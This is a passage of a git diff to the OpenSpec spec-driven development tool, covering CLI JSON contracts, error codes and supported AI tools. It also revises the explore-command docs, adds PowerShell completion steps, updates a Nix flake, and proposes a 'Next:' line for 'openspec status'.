`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress", "nested"?: ["<area>/<name>", ...] } ], "warnings"?: [ { "code", "name", "nested", "message" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
|
||||
|
||||
`warnings` (omitted when empty) reports directories under `changes/` that are not changes. Today the only code is `nested_change_directory`: a namespace folder wrapping change directories, which OpenSpec cannot address because a change is always a directory directly under `changes/`. The same entry carries `nested` on the listed change, whose `status` is then meaningless. Do not treat such an entry as a change; report the message and leave the directories alone.
|
||||
|
||||
### 4.2 `show <item> --json`
|
||||
Change: `{ "id", "title", "deltaCount", "deltas": [...], "root" }`. Spec: `{ "id", "title", "overview", "requirementCount", "requirements": [...], "metadata": { "version", "format", "sourcePath"? }, "root" }`.
|
||||
@@ -66,7 +68,7 @@ Change: `{ "id", "title", "deltaCount", "deltas": [...], "root" }`. Spec: `{ "id
|
||||
`ReferenceIndexEntry`: `{ "store_id", "root"?, "specs"?: [{id,summary}], "fetch"?, "status": [] }` — resolved entries carry root/specs/fetch; unresolved carry store_id + warning status. Index capped at 50KB (`reference_index_truncated`).
|
||||
|
||||
### 4.6 `instructions apply --json`
|
||||
`{ "changeName", "changeDir", "schemaName", "contextFiles": { "<artifactId>": ["/abs", ...] }, "progress": {total,complete,remaining}, "tasks": [{id,description,done}], "state": "blocked"|"all_done"|"ready", "missingArtifacts"?, "instruction", "references"?, "context"?, "operationGuidance"?, "root" }`. Both optional fields are read from the selected root on every invocation. `context` is a required prompt-level input whose relevant project facts, conventions, and constraints must be applied; `operationGuidance` is advisory input whose entries are followed only when applicable and compatible with the built-in workflow. Both remain separate from state, tasks, progress, context files, and the built-in instruction.
|
||||
`{ "changeName", "changeDir", "schemaName", "contextFiles": { "<artifactId>": ["/abs", ...] }, "progress": {total,complete,remaining}, "tasks": [{id,description,done}], "state": "blocked"|"all_done"|"ready", "missingArtifacts"?, "missingPrerequisites"?, "warnings"?, "instruction", "references"?, "context"?, "operationGuidance"?, "root" }`. `missingArtifacts` is what apply blocks on (the schema's `apply.requires`); `missingPrerequisites` is everything still to build before apply can run, in build order - the transitive closure of those requires, so it can be the longer list. `warnings` lists non-blocking problems with the change itself - today, a change that is ready to implement with no delta specs and no `skip_specs: true`, the state `openspec validate` rejects. Both optional root fields (`context`, `operationGuidance`) are read from the selected root on every invocation. `context` is a required prompt-level input whose relevant project facts, conventions, and constraints must be applied; `operationGuidance` is advisory input whose entries are followed only when applicable and compatible with the built-in workflow. Both remain separate from state, tasks, progress, context files, and the built-in instruction.
|
||||
|
||||
### 4.7 `instructions archive --json`
|
||||
`{ "changeName", "context"?, "operationGuidance"?, "root" }`. Requires a valid `--change` in the resolved repo/store root and uses the same required-context/advisory-guidance semantics as apply. This is a read-only runtime-input surface: it does not return the static archive workflow, inspect or merge delta specs, write main specs, or move the change.
|
||||
@@ -110,7 +112,7 @@ setup/register: `{ "store": {id, root, metadata_path?}, "registry": {path, regis
|
||||
`invalid_store_id`, `invalid_store_registry`, `invalid_store_metadata`, `store_registry_busy`, `store_not_found`, `no_store_registry`, `store_registry_changed`, `store_metadata_missing`, `store_metadata_id_mismatch`, `store_metadata_invalid`, `store_id_conflict`, `store_path_conflict`, `store_already_registered` (info).
|
||||
|
||||
### Store setup/register/remove
|
||||
`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
|
||||
`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_remove_contains_registered_store`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
|
||||
|
||||
### Store git
|
||||
`store_git_init_failed`, `store_git_identity_missing`, `store_git_commit_failed`, `store_git_no_commits` (warning), `store_clone_fragile_directories` (warning), `store_remote_divergence` (info, doctor), `store_checkout_drift` (info, doctor).
|
||||
|
||||
+42
-2
@@ -114,7 +114,7 @@ field so OpenSpec never overwrites project-specific guidance.
|
||||
|
||||
The welcome animation is also skipped when the `OPENSPEC_NO_ANIMATION` environment variable is set (any value, including empty), when `NO_COLOR` is set to a non-empty value, or when the OS reduced-motion preference is enabled (macOS Reduce Motion, GNOME animations disabled).
|
||||
|
||||
**Supported tool IDs (`--tools`)** — `windsurf` is also accepted, as an alias for `devin`: `amazon-q`, `antigravity`, `auggie`, `bob`, `claude`, `cline`, `command-code`, `codeartsagent`, `codex`, `devin`, `forgecode`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `gemini`, `github-copilot`, `hermes`, `iflow`, `junie`, `kilocode`, `kimi`, `kiro`, `lingma`, `minimax-code`, `vibe`, `oh-my-pi`, `opencode`, `pi`, `qoder`, `qwen`, `roocode`, `trae`, `zed`, `zcode`, `agents`
|
||||
**Supported tool IDs (`--tools`)** — `windsurf` is also accepted, as an alias for `devin`: `amazon-q`, `antigravity`, `auggie`, `bob`, `claude`, `cline`, `command-code`, `codeartsagent`, `codex`, `devin`, `forgecode`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `gemini`, `github-copilot`, `hermes`, `iflow`, `junie`, `kilocode`, `kimi`, `kiro`, `lingma`, `minimax-code`, `vibe`, `oh-my-pi`, `opencode`, `pi`, `codeassistant`, `qoder`, `qwen`, `rovodev`, `roocode`, `trae`, `zed`, `zcode`, `agents`
|
||||
|
||||
> This list mirrors `AI_TOOLS` in `src/core/config.ts`. See [Supported Tools](supported-tools.md) for each tool's skill and command paths.
|
||||
|
||||
@@ -664,6 +664,25 @@ openspec archive add-dark-mode --yes
|
||||
openspec archive update-ci-config --skip-specs
|
||||
```
|
||||
|
||||
**Retire a capability:** Add the retirement marker to the change metadata:
|
||||
|
||||
```yaml
|
||||
# openspec/changes/retire-legacy/.openspec.yaml
|
||||
schema: spec-driven
|
||||
retire_capabilities: true
|
||||
```
|
||||
|
||||
Then archive the change normally:
|
||||
|
||||
```bash
|
||||
openspec archive retire-legacy --yes
|
||||
```
|
||||
|
||||
When the change removes the capability's last requirement, OpenSpec deletes its
|
||||
live `spec.md`. Other capability deltas in the same change still update their
|
||||
main specs. Without the marker, archive stops before changing any files and
|
||||
tells you to add it.
|
||||
|
||||
**What it does:**
|
||||
|
||||
1. Validates the change (unless `--no-validate`)
|
||||
@@ -1255,13 +1274,34 @@ openspec completion install
|
||||
# Install for specific shell
|
||||
openspec completion install zsh
|
||||
|
||||
# Generate script for manual installation
|
||||
# Generate script for manual installation (bash)
|
||||
openspec completion generate bash > ~/.bash_completion.d/openspec
|
||||
|
||||
# Uninstall
|
||||
openspec completion uninstall
|
||||
```
|
||||
|
||||
**Windows (PowerShell):** Install completions for the current PowerShell host:
|
||||
|
||||
```powershell
|
||||
$env:PROFILE = $PROFILE
|
||||
openspec completion install powershell
|
||||
. $PROFILE
|
||||
```
|
||||
|
||||
`$env:PROFILE` tells OpenSpec which profile to configure in this session. The
|
||||
installer creates missing profile directories and adds a managed block that loads
|
||||
`OpenSpecCompletion.ps1`. Reloading the profile enables completions immediately.
|
||||
|
||||
To uninstall from the current host, run:
|
||||
|
||||
```powershell
|
||||
$env:PROFILE = $PROFILE
|
||||
openspec completion uninstall powershell
|
||||
```
|
||||
|
||||
Restart PowerShell after uninstalling to clear completions from the current session.
|
||||
|
||||
Completions are opt-in. The CLI mentions them once, on stderr, the first time you
|
||||
run a command in an interactive terminal, and never again — it also stays quiet
|
||||
if you already have completions installed. Set `OPENSPEC_NO_COMPLETIONS=1` to
|
||||
|
||||
+11
-4
@@ -78,7 +78,7 @@ AI: Created openspec/changes/add-dark-mode/
|
||||
|
||||
### `/opsx:explore`
|
||||
|
||||
> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any change exists. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
|
||||
> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any code gets written. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
|
||||
|
||||
Think through ideas, investigate problems, and clarify requirements before committing to a change.
|
||||
|
||||
@@ -97,6 +97,7 @@ Think through ideas, investigate problems, and clarify requirements before commi
|
||||
- Investigates the codebase to answer questions
|
||||
- Compares options and approaches
|
||||
- Creates visual diagrams to clarify thinking
|
||||
- Captures the exploration when you ask, or when you say yes to its offer: scaffolds a change with `openspec new change` and writes the planning artifacts you name, or updates an existing change's artifacts
|
||||
- Can transition to `/opsx:propose` (default) or `/opsx:new` (expanded workflow) when insights crystallize
|
||||
|
||||
**Example:**
|
||||
@@ -119,14 +120,20 @@ AI: Let me investigate your current auth setup...
|
||||
|
||||
Your API already has CORS configured. Which direction interests you?
|
||||
|
||||
You: Let's go with JWT. Can we start a change for that?
|
||||
You: Let's go with JWT.
|
||||
|
||||
AI: Ready when you are. Run /opsx:propose add-jwt-auth to begin.
|
||||
AI: That's a decision worth keeping. Want me to start a change called
|
||||
add-jwt-auth? Just the change folder, nothing else yet.
|
||||
|
||||
You: Yes.
|
||||
|
||||
AI: Started openspec/changes/add-jwt-auth/. Say the word and I'll
|
||||
write the proposal, specs, and tasks from what we just worked out.
|
||||
```
|
||||
|
||||
**Tips:**
|
||||
- Use when requirements are unclear or you need to investigate
|
||||
- No artifacts are created during exploration
|
||||
- It never writes code, and writes nothing else unless you ask, or say yes when it offers
|
||||
- Good for comparing multiple approaches before deciding
|
||||
- Can read files and search the codebase
|
||||
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
# Community Showcase
|
||||
|
||||
A community-owned awesome list of projects and resources built with and for OpenSpec. Tools, integrations, workflows, and learning resources are welcome. Community members grow and maintain this showcase through pull requests.
|
||||
|
||||
Listed projects are maintained independently. Inclusion does not imply official support or endorsement by OpenSpec. See each project's documentation and issue tracker for setup and support.
|
||||
|
||||
## Projects and resources
|
||||
|
||||
- **[OpenSpec UI](https://github.com/VeryComplexAndLongName/OpenSpec-UI)**: A standalone web dashboard and VS Code extension for browsing OpenSpec changes, archives, specs, and tasks.
|
||||
|
||||
## Add your project
|
||||
|
||||
Open a pull request adding one line to this file with your project's name, a direct link, and a short description of how it relates to OpenSpec.
|
||||
|
||||
- Keep entries focused on something built with OpenSpec or supporting its use, rather than general product advertising.
|
||||
- Describe what people can use. Avoid promotional claims, referral links, and tracking links.
|
||||
- Disclose paid features or required accounts in the entry, if any.
|
||||
|
||||
Corrections and updates to existing entries are welcome too.
|
||||
+1
-1
@@ -68,7 +68,7 @@ Tip: for a fix, a good scenario is the regression test in prose. "GIVEN a logged
|
||||
|
||||
**When to use it:** you have a problem but not yet a plan. You're not sure what to build, or which approach is right.
|
||||
|
||||
Start with `/opsx:explore`. It's a thinking partner with no structure and no artifacts created. It reads your codebase and helps you decide.
|
||||
Start with `/opsx:explore`. It's a thinking partner with no structure. It never writes code, and writes nothing else unless you ask it to capture what you decided, or say yes when it offers. It reads your codebase and helps you decide.
|
||||
|
||||
```text
|
||||
You: /opsx:explore
|
||||
|
||||
+12
-6
@@ -1,6 +1,6 @@
|
||||
# Explore First
|
||||
|
||||
**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a single artifact or line of code is created. When the picture is clear, it hands off to `/opsx:propose`.
|
||||
**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a line of code is written. When the picture is clear, it hands off to `/opsx:propose`.
|
||||
|
||||
If you take one habit from these docs, take this one: **when you're not sure, explore before you propose.**
|
||||
|
||||
@@ -27,14 +27,16 @@ Explore is a **conversation**, not a generator.
|
||||
- Compare options and name the tradeoffs of each.
|
||||
- Draw diagrams to make a design legible.
|
||||
- Help you narrow a vague idea into a concrete, buildable scope.
|
||||
- Capture the exploration when you ask, or when you accept its offer: it scaffolds the change with `openspec new change` and writes the planning artifacts you named, or updates an existing change's artifacts.
|
||||
- Transition to `/opsx:propose` when you're ready.
|
||||
|
||||
**It does not:**
|
||||
- Create a change folder.
|
||||
- Write any artifacts (no proposal, specs, design, or tasks).
|
||||
- Write or modify code.
|
||||
- Write or modify code. Explore never writes code, on any path, capture included.
|
||||
- Design or edit your schemas or templates. Shaping those is a change, not thinking.
|
||||
- Start a change or write an artifact on its own. It writes nothing unless you ask, or say yes when it offers, and then only what you agreed to, plus the setup files starting a change needs (see below).
|
||||
- Push you toward capturing. It offers when the thinking crystallizes; you decide.
|
||||
|
||||
That's the point. Exploring costs you nothing and commits you to nothing. You can explore three dead ends, learn something from each, and only then propose the path that survived.
|
||||
That's the point. Exploring costs you nothing and commits you to nothing until you say so. You can explore three dead ends, learn something from each, and only then propose the path that survived.
|
||||
|
||||
## It's already installed
|
||||
|
||||
@@ -95,6 +97,10 @@ explore ──► propose ──► apply ──► archive
|
||||
|
||||
You can say it in plain language ("let's turn this into a change") or run `/opsx:propose <name>` directly. Either way, the exploration you just did becomes the foundation of the proposal, not throwaway chat.
|
||||
|
||||
You can also ask explore to capture the change itself, without leaving the conversation: "start a change for this" scaffolds the folder, and "write the proposal too" writes exactly the artifacts you named. Scaffolding also lays down the change's own metadata, and fills in anything your project is missing at the top level (`openspec/specs/`, `openspec/changes/archive/`, a `config.yaml`).
|
||||
|
||||
That's the same destination as handing off, with one difference: propose writes the whole set your schema requires to reach implementation, while capture writes only the artifacts you named.
|
||||
|
||||
If you use the expanded command set, explore can hand off to `/opsx:new` instead, for step-by-step artifact creation. See [Workflows](workflows.md).
|
||||
|
||||
## Tips for a good exploration
|
||||
@@ -107,7 +113,7 @@ If you use the expanded command set, explore can hand off to `/opsx:new` instead
|
||||
|
||||
## The honest tradeoffs
|
||||
|
||||
**What you gain:** explore catches wrong turns at the cheapest possible moment, before any artifact exists. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
|
||||
**What you gain:** explore catches wrong turns at the cheapest possible moment, before you've committed to anything. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
|
||||
|
||||
**What it costs:** a little patience. Explore is a conversation, so it's slower than firing off `/opsx:propose` and hoping. For work you genuinely understand already, that extra step is pure overhead, and you should skip it.
|
||||
|
||||
|
||||
+1
-1
@@ -50,7 +50,7 @@ Both are files OpenSpec writes so your assistant can run the workflow. Skills (`
|
||||
|
||||
### Where should I start if I'm not sure what to build?
|
||||
|
||||
With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any change or code exists. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
|
||||
With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any code gets written. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
|
||||
|
||||
### What's the simplest possible flow?
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ Two terminal steps to set up, then you live in chat. The rest of this guide unpa
|
||||
|
||||
**Don't want to do the terminal part yourself?** Paste the [setup prompt](installation.md#install-with-your-ai-assistant) into your assistant and it handles both lines, then reports what it created.
|
||||
|
||||
> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any artifact or code exists. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
|
||||
> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any code gets written. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
|
||||
|
||||
## How It Works
|
||||
|
||||
|
||||
+1
-1
@@ -46,7 +46,7 @@ Terms are grouped by topic, then alphabetized within each group.
|
||||
|
||||
**Slash command.** A command you type into your AI assistant's chat, like `/opsx:propose`. Slash commands drive the workflow. They are not terminal commands. See [How Commands Work](how-commands-work.md).
|
||||
|
||||
**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan, creating no artifacts and writing no code. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
|
||||
**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan. It never writes code, and writes nothing else unless you ask it to capture the exploration as a change, or say yes when it offers. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
|
||||
|
||||
**CLI.** The `openspec` program you run in your terminal. It sets up projects, lists and validates changes, opens the dashboard, and archives. The terminal half of OpenSpec. See [CLI](cli.md).
|
||||
|
||||
|
||||
+1
-1
@@ -56,7 +56,7 @@ In the default setup, your day looks like this. Optionally think it through firs
|
||||
/opsx:archive → specs updated, change archived
|
||||
```
|
||||
|
||||
**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any artifact exists. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
|
||||
**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any code gets written. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
|
||||
|
||||
Those are slash commands, typed in your AI assistant's chat. Setup (`openspec init`) happens in your terminal. If that split is new to you, read [How Commands Work](how-commands-work.md) first; it's the most common point of confusion.
|
||||
|
||||
|
||||
@@ -95,6 +95,7 @@ to read the hint.
|
||||
| Oh My Pi (`oh-my-pi`) | `.omp/skills/openspec-*/SKILL.md` | `.omp/commands/opsx-<id>.md` |
|
||||
| OpenCode (`opencode`) | `.opencode/skills/openspec-*/SKILL.md` | `.opencode/commands/opsx-<id>.md` |
|
||||
| Pi (`pi`) | `.pi/skills/openspec-*/SKILL.md` | `.pi/prompts/opsx-<id>.md` |
|
||||
| SourceCraft Code Assistant for VS Code (`codeassistant`) | `.codeassistant/skills/openspec-*/SKILL.md` | `.codeassistant/commands/opsx-<id>.md` |
|
||||
| Qoder (`qoder`) | `.qoder/skills/openspec-*/SKILL.md` | `.qoder/commands/opsx/<id>.md` |
|
||||
| Qwen Code (`qwen`) | `.qwen/skills/openspec-*/SKILL.md` | `.qwen/commands/opsx-<id>.md` |
|
||||
| [Rovo Dev CLI](https://support.atlassian.com/rovo/docs/use-rovo-dev-cli/) (`rovodev`) | `.rovodev/skills/openspec-*/SKILL.md` | Not generated. Rovo has no slash-command surface — it matches skills automatically or by prompt (e.g. "use the openspec-propose skill"); `/skills` only manages them. Generated content references skills by name, never as `/openspec-*` commands. |
|
||||
@@ -110,6 +111,10 @@ to read the hint.
|
||||
|
||||
\*\*\*\* Windsurf was [rebranded to Devin Desktop](https://docs.devin.ai/desktop/devin-desktop-faq) on June 2, 2026, and its config directory moved: `.devin/` is the preferred read + write location, `.windsurf/` a legacy read-only fallback. OpenSpec follows the rename — the tool id is `devin`, and `--tools windsurf` still resolves to it so existing setup scripts keep working. A project still holding OpenSpec files in `.windsurf/` is offered the move on the next `openspec update`; declining leaves them in place, and files you wrote yourself are never touched. Workflows are invoked by filename, so `.devin/workflows/opsx-apply.md` is `/opsx-apply`. The [Devin Local agent does not support workflows](https://docs.devin.ai/desktop/devin-local) — only skills, and it does not read `.windsurf/` at all — so whenever OpenSpec writes Devin skills it keeps their bodies, and the getting-started hint, on `/openspec-*` skill invocations, which work on both agents. Under commands-only delivery no skills are written and both fall back to `/opsx-*`.
|
||||
|
||||
SourceCraft Code Assistant support targets its VS Code extension. Its [custom commands](https://sourcecraft.dev/portal/docs/en/code-assistant/operations/agent/slash-commands) and [skills](https://sourcecraft.dev/portal/docs/ru/code-assistant/operations/agent/skills) are available only in VS Code. This integration does not configure SourceCraft web or JetBrains.
|
||||
|
||||
With skills-only delivery, ask Code Assistant to use the `openspec-propose` skill with your idea. Skills activate through request matching; OpenSpec does not generate `/openspec-*` commands for this tool.
|
||||
|
||||
MiniMax Code is a global skills-only integration. OpenSpec writes only its
|
||||
`openspec-*` directories under `~/.minimax/skills/`; it does not create
|
||||
repo-local `.minimax` or `.mavis` directories. Commands-only delivery leaves
|
||||
@@ -214,7 +219,7 @@ openspec init --tools none
|
||||
openspec init --profile core
|
||||
```
|
||||
|
||||
**Available tool IDs (`--tools`)** — `windsurf` is also accepted, as an alias for `devin`: `amazon-q`, `antigravity`, `auggie`, `bob`, `claude`, `cline`, `command-code`, `codeartsagent`, `codex`, `devin`, `forgecode`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `gemini`, `github-copilot`, `hermes`, `iflow`, `junie`, `kilocode`, `kimi`, `kiro`, `lingma`, `minimax-code`, `vibe`, `oh-my-pi`, `opencode`, `pi`, `qoder`, `qwen`, `roocode`, `trae`, `zed`, `zcode`, `agents`
|
||||
**Available tool IDs (`--tools`)** — `windsurf` is also accepted, as an alias for `devin`: `amazon-q`, `antigravity`, `auggie`, `bob`, `claude`, `cline`, `command-code`, `codeartsagent`, `codex`, `devin`, `forgecode`, `codebuddy`, `continue`, `costrict`, `crush`, `cursor`, `factory`, `gemini`, `github-copilot`, `hermes`, `iflow`, `junie`, `kilocode`, `kimi`, `kiro`, `lingma`, `minimax-code`, `vibe`, `oh-my-pi`, `opencode`, `pi`, `qoder`, `qwen`, `roocode`, `codeassistant`, `trae`, `zed`, `zcode`, `agents`
|
||||
|
||||
## Workflow-Dependent Installation
|
||||
|
||||
|
||||
+2
-2
@@ -140,7 +140,7 @@ You: Yes.
|
||||
You: /opsx:propose rebuild-search-index-on-write
|
||||
```
|
||||
|
||||
Explore creates no artifacts and writes no code. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
|
||||
Explore never writes code, and writes nothing else unless you ask, or say yes when it offers. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
|
||||
|
||||
### Expanded/Full Workflow (custom selection)
|
||||
|
||||
@@ -493,7 +493,7 @@ AI: Let me investigate your current setup and options...
|
||||
Your current stack suggests #1 or #2. What's your scale?
|
||||
```
|
||||
|
||||
Exploration clarifies thinking before you create artifacts.
|
||||
Exploration clarifies thinking before any code gets written.
|
||||
|
||||
### Verify Before Archiving
|
||||
|
||||
|
||||
@@ -50,16 +50,17 @@
|
||||
|
||||
pnpmDeps = pkgs.fetchPnpmDeps {
|
||||
inherit (finalAttrs) pname version src;
|
||||
pnpm = pkgs.pnpm_9;
|
||||
pnpm = pkgs.pnpm_10;
|
||||
fetcherVersion = 3;
|
||||
hash = "sha256-+qGFLSVLJ9faZOmfO6ZVBP525i5LRgwhsJat2vT7Aw8=";
|
||||
hash = "sha256-oz4tsfu05IPDMaBBp5jLbfsxvTmw1oVtNFtpvudCOPE=";
|
||||
};
|
||||
|
||||
nativeBuildInputs = with pkgs; [
|
||||
installShellFiles
|
||||
nodejs_22
|
||||
npmHooks.npmInstallHook
|
||||
pnpmConfigHook
|
||||
pnpm_9
|
||||
pnpm_10
|
||||
];
|
||||
|
||||
buildPhase = ''
|
||||
@@ -72,6 +73,21 @@
|
||||
|
||||
dontNpmPrune = true;
|
||||
|
||||
# `openspec completion generate` renders a static command registry, so it
|
||||
# needs no project and no network. Opting out of telemetry also disables
|
||||
# the update check, keeping the build offline.
|
||||
postInstall = lib.optionalString (pkgs.stdenv.buildPlatform.canExecute pkgs.stdenv.hostPlatform) ''
|
||||
export OPENSPEC_TELEMETRY=0
|
||||
completions=$(mktemp -d)
|
||||
for shell in bash fish zsh; do
|
||||
$out/bin/openspec completion generate "$shell" > "$completions/openspec.$shell"
|
||||
done
|
||||
installShellCompletion --cmd openspec \
|
||||
--bash "$completions/openspec.bash" \
|
||||
--fish "$completions/openspec.fish" \
|
||||
--zsh "$completions/openspec.zsh"
|
||||
'';
|
||||
|
||||
meta = with pkgs.lib; {
|
||||
description = "AI-native system for spec-driven development";
|
||||
homepage = "https://github.com/Fission-AI/OpenSpec";
|
||||
@@ -99,7 +115,7 @@
|
||||
default = pkgs.mkShell {
|
||||
buildInputs = with pkgs; [
|
||||
nodejs_22
|
||||
pnpm_9
|
||||
pnpm_10
|
||||
];
|
||||
|
||||
shellHook = ''
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-09-04
|
||||
@@ -0,0 +1,44 @@
|
||||
# Name the command that resumes a change
|
||||
|
||||
## Why
|
||||
|
||||
`openspec status` reported where a change stood and stopped there. The command
|
||||
that moves it forward was already computed: `buildNextSteps` derives it and
|
||||
`--json` publishes it as `nextSteps`. But the text surface never rendered it.
|
||||
|
||||
So the surface a person actually reads ended on a checklist. `openspec new
|
||||
change` hands off with `Next: openspec status --change <name>`, and that next
|
||||
command then had no verb of its own. Picking a change back up after a lost
|
||||
session, or opening one somebody else started, meant already knowing which
|
||||
command came next (#906).
|
||||
|
||||
The completion case was the worst of it. Once every planning artifact existed,
|
||||
status printed a lone green "All planning artifacts complete!", which reads as
|
||||
*you are done* even while `tasks.md` sits half-checked. That is what #906
|
||||
reports: every artifact showed `done` rather than `ready`, so the conclusion was
|
||||
that nothing was left to run.
|
||||
|
||||
## What Changes
|
||||
|
||||
- `openspec status` ends with a `Next:` line naming one command: the next ready
|
||||
artifact's `openspec instructions` call while planning is unfinished, and
|
||||
`openspec instructions apply` once every planning artifact exists.
|
||||
- The line carries `--store <id>` whenever the resolved root is a store. A
|
||||
command without the flag would resolve against the pointer repo instead of the
|
||||
store the status was read from.
|
||||
- `--all` gives every change in the sweep its own line, and gives none to an
|
||||
entry that failed to load, since a failed entry has no artifact statuses to reason
|
||||
about.
|
||||
- The line is built from the same resolution as the JSON `nextSteps` sentence,
|
||||
so the two surfaces cannot name different commands. `nextSteps` itself is
|
||||
unchanged, character for character.
|
||||
|
||||
No new command, no new flag, no new JSON field. This renders a value the agent
|
||||
contract already publishes.
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: `cli-artifact-workflow` (MODIFIED: Next Artifact Discovery)
|
||||
- Affected code: `src/commands/workflow/status.ts`,
|
||||
`src/core/change-status-policy.ts`
|
||||
- Affected docs: `docs/cli.md` (the status text output example)
|
||||
@@ -0,0 +1,37 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Next Artifact Discovery
|
||||
|
||||
The workflow SHALL use `openspec status` output to determine what can be created next, rather than a separate next-command surface.
|
||||
|
||||
#### Scenario: Discover next artifacts from status output
|
||||
|
||||
- **WHEN** a user needs to know which artifact to create next
|
||||
- **THEN** `openspec status --change <id>` identifies ready artifacts with `[ ]`
|
||||
- **AND** the first `[ ]` entry is the schema's recommended next artifact
|
||||
- **AND** no dedicated "next command" is required to continue the workflow
|
||||
|
||||
#### Scenario: Status names the command that moves the change forward
|
||||
|
||||
- **WHEN** a user runs `openspec status --change <id>` in text mode and a next step resolves
|
||||
- **THEN** the output ends with a `Next:` line naming exactly one command to run
|
||||
- **AND** that command is `openspec instructions <artifact> --change "<id>" --json` for the first ready artifact while any planning artifact is still ready
|
||||
- **AND** it is `openspec instructions apply --change "<id>" --json` once every planning artifact exists, printed after the completion line rather than in place of it, because that line alone reads as "you are done" while implementation tasks remain
|
||||
- **AND** the named artifact is never one the change skipped, which satisfies its dependents but must not be created
|
||||
- **AND** the artifact id comes from the resolved schema, so a project whose schema declares neither of the default artifact names still gets a usable command
|
||||
|
||||
#### Scenario: The named command carries the store selection
|
||||
|
||||
- **WHEN** the resolved root is a store
|
||||
- **THEN** the `Next:` command includes `--store <id>`, so it resolves against the same root the status was read from rather than the pointer repo
|
||||
|
||||
#### Scenario: Both surfaces name the same command
|
||||
|
||||
- **WHEN** a next step resolves
|
||||
- **THEN** the command printed on the `Next:` line and the command inside the JSON `nextSteps` sentence are derived from one resolution, so the two surfaces cannot name different commands
|
||||
- **AND** the `Next:` line never appears in `--json` output, which stays parseable
|
||||
|
||||
#### Scenario: No next step resolves
|
||||
|
||||
- **WHEN** no artifact is ready and planning is not complete, or a change in an `--all` sweep failed to load
|
||||
